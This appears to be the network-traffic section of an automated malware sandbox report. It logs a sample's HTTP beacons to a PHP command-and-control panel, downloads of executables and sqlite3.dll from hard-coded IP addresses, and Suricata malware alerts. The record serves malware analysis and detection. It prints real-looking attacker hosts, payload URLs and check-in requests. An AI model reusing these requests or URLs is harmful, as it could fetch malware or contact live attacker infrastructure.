name="token"b0313938b13b1f325a3472a8898559833c8b12d6e8ab54bb5edcbbaeee41764f6074d4f0------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="message"fplugins------JDAKJJDBGCAKKFHIJEGH--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFHDHJKKJDHJJJJKEGHHost: 185.215.113.206Content-Length: 6087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003022001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003023001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Thu, 31 Oct 2024 22:34:32 GMTIf-None-Match: "672405f8-2d5600"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003024001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Thu, 31 Oct 2024 22:34:32 GMTIf-None-Match: "672405f8-2d5600"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 32 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003025001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 44 37 32 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB72D72B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 44 37 32 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB72D72B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 44 37 32 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB72D72B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 44 37 32 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB72D72B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 44 37 32 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB72D72B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49739 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49806 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49835 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49837 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49841 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49852 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49870 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49877 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49896 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49876 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49903 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49903 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49911 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49938 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49945 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49929 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49953 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49977 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49978 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50000 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50010 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50016 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50014 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50027 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50034 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50051 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50052 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49992 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50058 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49862 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50074 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50072 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50077 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50101 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50109 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50117 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50114 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50112 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50120 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50119 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49994 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50122 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50128 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50131 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50133 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50132 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50134 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50135 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50137 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50138 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50139 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.4:49738

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Thu, 31 Oct 2024 22:34:32 GMTIf-None-Match: "672405f8-2d5600"
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Thu, 31 Oct 2024 22:34:32 GMTIf-None-Match: "672405f8-2d5600"
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
